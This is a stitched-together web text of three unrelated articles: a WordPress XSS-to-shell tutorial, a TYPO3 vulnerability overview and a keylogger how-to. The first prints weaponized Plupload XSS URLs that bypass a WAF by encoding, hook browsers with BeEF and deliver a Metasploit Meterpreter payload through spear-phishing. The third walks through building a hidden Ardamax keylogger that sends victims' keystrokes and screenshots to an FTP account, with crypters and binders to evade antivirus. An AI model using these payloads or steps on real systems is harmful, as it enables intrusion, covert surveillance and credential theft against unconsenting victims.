Hack WordPress with XSS to Bypass WAF and Shell an Internal Box

WordPress is by far the most popular Content Management System (CMS) in the world today.  According to W3 Techs, “WordPress is used by 58.2% of all the websites whose content management system we know. This is 18.6% of all websites.”  As with most modern, popular CMSs, the WordPress application itself is hardened and secure out of the box.  But to get all of the cool ‘stuff’ to make your site memorable and engaging, WordPress site owners often use 10 – 20 plugins for each installation.  As of July 2013, WordPress.org lists 25,700 plugins with more than 475 million downloads, and that doesn’t include those outside of the WordPress repository.  It’s these third party plugins that leave a tight framework vulnerable to exploitation and attempts at hacking WordPress common.  Many installed plugins remain unpatched or overlooked, and even those not activated through the WordPress Dashboard provide an excellent attack surface.  With shared hosting plans and consolidated corporate data centers, it is more often than not that your instance of WordPress is not the only web application residing on your server.

For the sake of brevity, I won’t “beat a dead horse” and talk about why Cross-Site Scripting (XSS) is dangerous.  There still is some confusion surrounding XSS and its role in network breaches, how it is used, and how it can be utilized over and over to do the same thing.  An attacker cannot leverage an XSS flaw to directly “hack” into a server.  Instead, by chaining vulnerabilities together and socially engineering personnel, an attacker can move from XSS to an internal compromise fairly quickly. This tutorial shows how hacking WordPress with a simple XSS flaw can be crafted into a vehicle to intrude on internal networks.

Getting Started in Hacking WordPress

Seeing as how this article is being published by The Ethical Hacker Network, the entire focus is how one might be attacked in order to eventually mitigate against such risks. As with any real attack or legitimate penetration test, the first step is recon. Assuming the attacker has already set his sights on your organization or the third party security team has been hired, their first step is to detect a WordPress installation.  You can attempt to access the core WordPress folders by including them in the URI path of the host you are testing against:

http://[webhost]/wp-admin/
http://[webhost]/wp-includes/

Additionally, the ‘Robots.txt’ file can be a goldmine of information.  In Figure 1, the WordPress directories have been explicitly disallowed from search engine indexing, which indicates the presence of the WordPress framework and its location.

Figure 1 – Robots.txt Revealing Disallowed Directories

In certain instances the WordPress framework has been installed in sub-root directories.  The Google search engine does an excellent job at “spidering” through a site and indexing hidden files and directories.  Before brute forcing a web server with tools like DirBuster which looks for hidden files and directories, turn to Google to see if the work has already been done for you.

The Google search engine often indexes WordPress core files.  If a search is completed through Google with the ‘site:<target site> inurl:/wp-includes/ inurl:plupload’ against a specific site, you can determine if WordPress core files are present.  In Figure 2, you can see that Google has indexed a Shockwave Flash File (plupload.flash.swf) within the ‘/wp-includes/’ directory of the example host found by Google.

Figure 2 – Google Search

Testing Our Initial Findings

Within a lab environment, the WordPress framework and plugins were installed to simulate the live host above.  The plugin titled ‘Plupload’ enables uploading of files to the web server on which the site is hosted. By clicking through the following link in Figure 3, a blank Shockwave Flash page is displayed:

 http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=

Figure 3 – WordPress ‘Plupload’ Plugin Uniform Resource Locator (URL)

By clicking anywhere on the white space provided by the plugin, you will be provided with the standard file explorer box where you can select a file to upload.  In most cases, the upload directory is stored outside of the webroot and is not accessible.  Yet, it is worth checking for its presence.
Taking a closer look at the URI string ‘plupload/plupload.flash.swf?id=’, this URL is a great place to test XSS injection parameters. The string in Figure 4 has proven to work against this target set:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(c){alert(1);}//

Figure 4 – Initial XSS Injection String

The browser reflects the XSS injection string in the form of an alert box shown in Figure 5:

Figure 5 – XSS Alert Box Displaying “1”

I will break down the injection string, so the next stage of attack is simpler to construct.  First, the initial characters ‘\”));’ are escaping the XSS string directly out of a JavaScript function.  Usually, the input is reflected back into the HTML code such as within the ‘value=””’ parameter.  Breaking out of something like this would be simple.  However in this case, the reflected output is stuck in JavaScript.  The current function has been escaped using ‘\”));’ followed by a new function of ‘catch(c){alert(1);}//’.  The browser reads this code and executes the alert box.

Why was it not possible to use the characters ‘<’ or ‘>’, or the classic ‘<script>’ tag?  In this particular instance, the first major challenge is presented. The client has a Web Application Firewall (WAF) in place.  The WAF is filtering the input of particular characters, specifically ‘<’ and ‘>’, which hinders the use of all HTML tagging.

Evasive Maneuvers

Moving forward, it’s understood that a valid reflected XSS injection point exists, and an alert box can be successfully executed via JavaScript within the browser.  However, a mere alert box isn’t much of an attack.  The evil HTML code still needs to be injected.  How can this flaw be taken to the next level?

The alternate method of injecting HTML code is to encode it with the JavaScript function  ‘CharCodeAt()’.  A visual example of how this works can be found at ‘Uncle Jim’s Javascript Utilities’ webpage.  This will allow the encoded HTML tagging to be injected, in turn, bypassing the WAF.  The JavaScript will then be reflected back to the browser and, by applying the ‘FromCharCode()’ function, will be decoded ultimately being read in as plaintext HTML. Building on the original XSS string, replace the ‘alert’ keyword with ‘document.write’, as shown in Figure 6:

‘\”));}catch(e){document.write

Figure 6 – XSS String

Next, add in ‘(String.fromCharCode’ as shown in Figure 7:

(String.fromCharCode

Figure 7 – XSS String

Use the ‘charCodeAt()’ function to encode the HTML in Figure 8:

<html><body><script>alert(“XSS”)</script></body></html>

Figure 8 – HTML Code

The HTML becomes the string shown in Figure 9:

60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 9 – HTML Code Encoded

Finally, join all of the above to produce a reflective XSS injection URL, and send it on to the web server. Figure 10 shows the completed code:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 10 – Complete Reflective XSS Injection URL

The XSS injected string is again reflected in the form of an alert box displaying “XSS” as shown in Figure 11:

Figure 11 – XSS Alert Box Displaying “XSS”

Another alert box? Yes. What was missed though is that by employing the ‘document.write’ JavaScript function, we have completely broken out of the current ‘plupload.flash.swf’ Shockwave Flash file and have written to a new page.  Additionally, the WAF has been bypassed through the use of encoding resulting in a blank canvas to work our hacking magic.

Time for a Little Protein

It is now time to turn up a local installation of the Browser Exploitation Framework (BeEF) as shown in Figure 12.

Figure 12 – BeEF

With the modification of the current reflective XSS injection URL to include an ‘iFrame’, a reference is created to the local BeEF instance.  Now, the new HTML code can be crafted that includes the ‘iFrame’ as shown in Figure 13:

<html><body><iframe src=”http://127.0.0.1:3000/demos/basic.html”></iframe></body></html>

Figure 13 – HTML Code

Again, the ‘charCodeAt()’ function is used to encode the HTML, as shown in Figure 14:

60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 14 – Encoded HTML

Now all the code can be joined to produce an ‘iFrame’ based reflective XSS injection URL.  This string can be sent on to the web server ready to go as shown in Figure 15:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 15 – Complete Reflective XSS Injection URL

The browser is now presented with a new webpage containing the BeEF ‘iFrame’ which points back to the local running instance of BeEF.  The browser has now been hooked and vulnerable to the various exploits contained within the BeEF control panel as shown in Figure 16.

Figure 16 – BeEF ‘iFrame’

The final steps would be to make any modifications, or tailoring of the code, to align with the specifics of our target and the goal that we want to achieve.  A Spear Phishing e-mail would be crafted which contained the reflective XSS injection URL.  The link can be obfuscated, or it can be sent in its full format.  The obfuscated method has a higher chance of being clicked on by a victim.  The side effect is that properly configured spam filters should block or strip an email with obfuscated links.

Remember, this attack uses the target’s own domain and web application to reflect an attack back to them.  This aids in the social engineering aspect of the attack.  The best way to accomplish this is through the use of e-mail.

The Shell Game

Although, a BeEF hooked browser can give selective control to an attacker and was useful in demonstrating the effectiveness of this attack, gaining a shell through it may prove to be problematic.  The Metasploit Framework would be better suited for advancing this attack.

A listener will be created within the Metasploit console and will leverage the ‘java_jre17_jmxbean_2’ exploit and a reverse Transmission Control Protocol (TCP), Windows Operating System (OS) Meterpreter payload as shown in Figure 17.  Both the listener and reverse handler will use port 8080 and 4444, respectively.

Figure 17 – MSF Using ‘java_jre17_jmxbean_2’ Exploit

The listener options are set as shown in Figure 18.

Figure 18 – Setting Listener Options

The listener and reverse handler are both started as shown in Figure 19.  Note the URL and URI string automatically generated by the listener.  This data will be used in refactoring the HTML code contained in the reflective XSS injection URL.

Figure 19 – MSF Listener and Reverse Handler Started

Reconstruct the current XSS string HTML code with the new ‘iFrame’ source which will now hold a reference back to the Metasploit listener shown in Figure 20:

<html><body><iframe src=”http://10.0.0.2:8080/rPJGQW1Mp9″></iframe></body></html>

Figure 20 – HTML Code

Once again, the ‘charCodeAt()’ function is used to encode the HTML as shown in Figure 21:

60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 21 – Encoded HTML

And the above are joined produce a “weaponized” reflective XSS injection URL shown in Figure 22:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 22 – Complete Reflective XSS Injection URL

URL encoding is done to further conceal the string as shown in Figure 23.

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf%3Fid%3D%5C%22%29%29%3B%7Dcatch%28e%29%7Bdocument.write%28String.fromCharCode%2860%2C104%2C116%2C109%2C108%2C62%2C60%2C98%2C111%2C100%2C121%2C62%2C60%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C49%2C48%2C46%2C48%2C46%2C48%2C46%2C50%2C58%2C56%2C48%2C56%2C48%2C47%2C114%2C80%2C74%2C71%2C81%2C87%2C49%2C77%2C112%2C57%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%2C60%2C47%2C98%2C111%2C100%2C121%2C62%2C60%2C47%2C104%2C116%2C109%2C108%2C62%29%29%3B%7D//

Figure 23 – URL Encoded

This “weaponized” URL is attached to a Spear Phishing e-mail and sent to the victim pool.  A user who observes a link that points back to their own domain will often feel like it is safe to click.  The string is injected into the application and reflected back to the browser, decoded, and written to a new page.  The ‘iFrame’ is requested from the Metasploit listener (Figure 24), the payload is successfully executed on the victim’s system and a Meterpreter session is opened.

Figure 24 – Successful Exploitation

This attack ultimately gains shell access to the victim’s workstation as shown in Figure 25.

Figure 25 – Shell Access

The Desktop on a victim’s host in Figure 26 was grabbed by the injected Meterpreter shown in Figure 24.

Figure 26 – Windows Screenshot

Done with Hacking WordPress… What Now?

In this article, we’ve not only proven that hacking WordPress through a third party plugin using XSS can be done, but techniques can also be used to bypass common network security appliances. In the end, we took what seemed like an innocent little installation of a CMS into full control of an internal system. But what does this teach us?

From a corporate standpoint, there are several lessons to be learned:

1. Always be cognizant of what is on your servers. Employees with the best of intentions can unknowingly allow access to your most sensitive systems and the data they contain.
2. Just as with Operating Systems like Windows, OSX and Android, it’s usually not the systems themselves that are hacked but the additional programs installed on them. Only use what is necessary and always keep them up-to-date.
3. Test, test and test again. Just because a plugin works and seems to be from a reputable source, it doesn’t ensure the quality or security of the code. Even if you have the internal ability to test (and absolutely if you don’t), hire a professional web application penetration tester. Your entire company is at stake.

From a personal standpoint, the lessons are the same although the scale might not be. But always keep in mind that if you don’t take the proper precautions, your hobby will never become your dream job, and your small business will never become a big one.

Regardless of which camp describes you best, the lessons are the same… Stay aware, stay diligent and stay safe.

Disclaimer: The examples provided below were attained through live searches.  Any further testing was done within a lab environment.  The examples here are against the ‘Plupload’ of the WordPress framework.  This known vulnerability has been researched and proven by OSVDB (ID 89576) and Secunia (ID 51967). Utilizing this attack on any system for which you do not have permission to access is strictly prohibited by law and not the intention of this article.

The 7 Most Common Web Application Vulnerabilities

Information disclosure, identity theft, SQL injection, Code injection, Authentication bypass, Cross site scripting and Cross request forgery. Typo3 has released the web application security guide for website owners and below is the detail discussion on the common and most dangerous web application vulnerabilities.  

Information disclosure

This means that the system will (under certain circumstances) make information available to an outside person that might use it to craft an attack against the system. Such information includes details of the file system structure or details about the installed software, such as configuration options or version numbers. An attacker could gain important information about the system configuration that makes an attack possible.

There is a fine line between the protection against information disclosure and so called "security by obscurity". Latter means, that system administrators or developers try to protect their infrastructure or software by hiding or obscuring it. An example would be to not reveal that TYPO3 is used as the content management system or a specific version of TYPO3 is used. Security experts say, that "security by obscurity" is not security, simply because it does not solve the root of a problem (e.g. a security vulnerability) but tries to obscure the facts only.

Identity theft

Under certain conditions it may be possible that the system reveals personal data, such as customer lists, e-mail addresses, passwords, order history or financial transactions. This information can be used by criminals for fraud or financial gains. The server running a TYPO3 website should be secured so that no data can be retrieved without the consent of the owner of the website.

SQL injection

With SQL injection the attacker tries to submit modified SQL statements to the database server in order to get access to the database. This could be used to retrieve information such as customer data or user passwords or even modify the database content such as adding administrator accounts to the user table. Therefore it is necessary to carefully analyze and filter any parameters that are used in a database query.

Code injection

Similar to SQL injection described above, "code injection" includes commands or files from remote instances (RFI: Remote File Inclusion) or from the local file system (LFI: Local File Inclusion). The fetched code becomes part of the executing script and runs in the context of the TYPO3 site (so it has the same access privileges on a server level). Both attacks, RFI and LFI, are often triggered by improper verification and neutralization of user input.

Local file inclusion can lead to information disclosure (see above), for example reveal system internal files which contain configuration settings, passwords, encryption keys, etc.

Authorization bypass

In an authorization bypass attack, the cracker exploits vulnerabilities in poorly designed applications or login forms (e.g. client-side data input validation). Authentication modules shipped with the TYPO3 core are well-tested and reviewed. However, due to the open architecture of TYPO3, this systems can be extended by alternative solutions. The code quality and security aspects may vary, see chapter "Guidelines for TYPO3 Integrators: TYPO3 extensions" for further details.

Cross Site Scripting (XSS)

Cross-site scripting occurs when data that is being processed by an application is not filtered for any suspicious content. It is most common with forms on websites where a user enters data which is then processed by the application. When the data is stored or sent back to the browser in an unfiltered way, malicious code may be executed. A typical example is a comment form for a blog or guest book. When the submitted data is simply stored in the database, it will be sent back to the browser of visitors if they view the blog or guest book entries. This could be as simple as the inclusion of additional text or images, but it could also contain JavaScript code of iframes that load code from a 3rd party website.

Cross Site Request Forgery (XSRF)

In this type of attack unauthorized commands are sent from a user a website trusts. Consider an editor that is logged in to an application (like a CMS or online banking service) and therefore is authorized in the system. The authorization may be stored in a session cookie in the browser of the user. An attacker might send an e-mail to the person with a link that points to a website with prepared images. When the browser is loading the images, it might actually send a request to the system where the user is logged in and execute commands in the context of the logged-in user.

How to use Keyloggers and Download Ardamax v3.0 Keylogger

Hello, In my last article "What are Keyloggers ( A Hacking Tool )". I explain all basic info about Key-loggers. Hope You read that article before this one. Because there i have explian its meaning and working.

NOTE : i am explaining these tutorials only  for educational purpose. Because before knowing the Security....You should understand all Hacking methods...and the author will not be liable for anything.

How Hackers use keyloggers to Hack passwords ?

Keylogger is a hardware device or a software program that records the real time activity of a computer user including the keyboard keys they press,as i explain in my last artilce. These keyloggers allow not only keyboard keystrokes to be captured but also are often capable of collecting screen captures from the computer. The keys they press are programmed to automatically transmit data over the network to a remote computer or Web server.

I am Going to explain the Hack using ARDAMAX KEYLOGGER. Because its best for Remote pc hacking. Here you just have to create a virus keylogger file and put that virus in victim's pc.Thats it !

DOWNLOAD ARDAMAX v3.0

After download ,Just install it..as a normal software. (Note : May be your  antivirus will not allow you to install this tool,or will show it as a Virus.Thats only because this a hacking tool. Not harful to your pc.) So lets start under an Assumption that u’ve installed Ardamax on ur computer.

1.) After installing the program, when you will run it for the first time, It may be ask for registration/serial key.I have provide the key in same file that you have download.So,enter the key and register it.

2.) After activating it, lets open it up. When you’ll open it, you’ll see an icon added into your system tray as shown in pic below.


3.)  Now lets right click on that icon & then click on “Remote Installation”. Now you should have something as shown in pic below


4.) Lets click on next and make sure that u should have the picture as below. In the option that says “Additional components” select ONLY “Log viewer”.


5.)  Now next screen would give you “Invisibility” options. This will help you to hide your key logger from your victim’s computer. So CHECK’EM all !


6.) Now next screen says “Security”, i personally don’t find it useful so you may just click on NEXT.


7.) Now the page that says “Web Update”, lets UNCHECK all off the boxes & click on NEXT.Web Update may fail your hack process.


8.)  Now you will see “Options” page. So select it the way i’ve done in the picture shown below.Hope my language is easy to understand for all ICA beginners.


9.)  Now here comes the most important page, which will show u the options and will let u select the way you want to receive the information from your victim’s computer.

You will have 3 options to receive victim’s info. I personally think that Email and network wouldn’t give u good performance. Lets select ONLY FTP, and rest of the information is already put in. So no need to change anything else.


What are ftp accounts ?

You will need to sign up with some free web hosting website. Which will give u some free web space and an FTP account. So this program will send all the information to your FTP account.That needed just to store data on net automatically from victim's pc.


10.) Now you should get a screen as shown in picture below where you’ll have to fill up your FTP details, so it can send information on it.
Here you have to enter your ftp hostname,username and its password.

11.) Once you’ve put the information, click on “test” button to check if it can connect it. And if its successful then u should get a msg like shown below.

12.) Now you’ll get “control” page, let it be the way it is and click NEXT

13.) Now you’ll get an option for “Screen shot”, which will send you screen shot of your victim’s computer. So adjust it as per your requirement and click NEXT.

14.)  Now you should see a page which will let you generate your keylogger’s file. So save it anywhere  u want but MAKE IT SURE U DON’T OPEN IT. You can change icon as well.


What to do with this Generated Remote Keylogger File ?
What you need to do now is,  open this file on any computer u wanna hack (If you have physical access). Or  send this file to your victim via email,or any trick and let him open it and start enjoy ! when you send your keylogger to your victim, his anti virus may also detect it as a virus. So now its on you to convince him.Because once he/she will click this file,The keylogger will automatically intalled in his/her computer,withou showing any process or window.And will always work in hidden mode,even he restart the pc.This way,you will get all his data  he pressed on his keyboard with screenshots ,to your ftp account...which you mention duirng the making of this virus.

Now at last Problem is this,If your Victim having Good antivirus or he is not recommending to turn off his Antivirus ,Just to test the file you send him,Then what to Do ? How to hack him ? How to make him Fool ?

There is Small Solution : Crypter and Binder .

Crypter : It encrypt the virus,So that antivirus will not able to detect it.But as i Explain that most antivirus becomes Too advance and providing latest virus updates daily.So its little bit difficult to bypass the antivirus.

Binder   : It Binds to files Together,Like a image "Jpeg" with a "Exe" Setup. Or two "Exe". This method is used to make fool your victim and convince him to click your Remote keylogger file.